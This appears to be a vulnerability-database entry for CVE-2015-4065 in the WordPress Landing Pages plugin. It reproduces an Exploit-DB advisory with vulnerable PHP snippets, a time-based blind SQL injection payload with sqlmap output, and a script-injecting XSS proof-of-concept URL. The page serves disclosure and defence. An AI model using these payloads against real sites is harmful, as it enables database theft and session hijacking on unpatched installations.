CVE-2015-4065

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Published 2015-05-27 · Modified 2026-05-06

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

4.5

Description

Cross-site scripting (XSS) vulnerability in shared/shortcodes/inbound-shortcodes.php in the Landing Pages plugin before 1.8.5 for WordPress allows remote authenticated users to inject arbitrary web script or HTML via the post parameter to wp-admin/post-new.php.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-37108 webapps php verified text · 2 KB

Adrián M. F. · 2015-05-26

WordPress Plugin Landing Pages 1.8.4 - Multiple Vulnerabilities

text exploit Source: Exploit-DB

# Title: Multiple vulnerabilities in WordPress plugin "WordPress Landing Pages"
# Author: Adrián M. F. - adrimf85[at]gmail[dot]com
# Date: 2015-05-25
# Vendor Homepage: https://wordpress.org/plugins/landing-pages/
# Active installs: 20,000+
# Vulnerable version: 1.8.4
# Fixed version: 1.8.5
# CVE: CVE-2015-4064, CVE-2015-4065 

 Vulnerabilities (2)
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(1) Authenticated SQLi [CWE-89] (CVE-2015-4064)
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* CODE:
modules/module.ab-testing.php:100
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$wpdb->query("
    SELECT `meta_key`, `meta_value`
    FROM $wpdb->postmeta
    WHERE `post_id` = ".$_GET['post']."
");
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* POC:
http://[domain]/wp-admin/post.php?post=306[SQLi]&action=edit&lp-variation-id=1&ab-action=delete-variation

SQLMap
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./sqlmap.py --cookie="[cookie]" --dbms mysql -u "http://[domain]/wp-admin/post.php?post=306&action=edit&lp-variation-id=0&ab-action=delete-variation" -p post
[............]
GET parameter 'post' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 86 HTTP(s) requests:
---
Parameter: post (GET)
   Type: AND/OR time-based blind
   Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
   Payload: post=306 AND (SELECT * FROM (SELECT(SLEEP(10)))sCKL)&action=edit&lp-variation-id=0&ab-action=delete-variation
---
[13:35:01] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 7.0 (wheezy)
web application technology: Apache 2.2.22, PHP 5.4.39
back-end DBMS: MySQL 5.0.12
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(2) Authenticated XSS [CWE-79] (CVE-2015-4065)
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* CODE:
shared/shortcodes/inbound-shortcodes.php:761
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<iframe src='<?php echo INBOUDNOW_SHARED_URLPATH . 'shortcodes/'; ?>preview.php?sc=&post=<?php echo $_GET['post']; ?>' width="285" scrollbar='true' frameborder="0" id="inbound-shortcodes-preview"></iframe>
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* POC:
http://[domain]/wp-admin/post-new.php?post_type=inbound-forms&post='></iframe><script>alert(String.fromCharCode(88, 83, 83))</script>


 Timeline
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2015-05-09: Discovered vulnerability.
2015-05-20: Vendor notification.
2015-05-20: Vendor response.
2015-05-22: Vendor fix.
2015-05-25: Public disclosure.

Application impact

Vendor	Product	Versions	Fixed
landing_pages_project	landing_pages	`{"endIncluding":"1.8.4"}`

References

CWEs

CWE-79

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.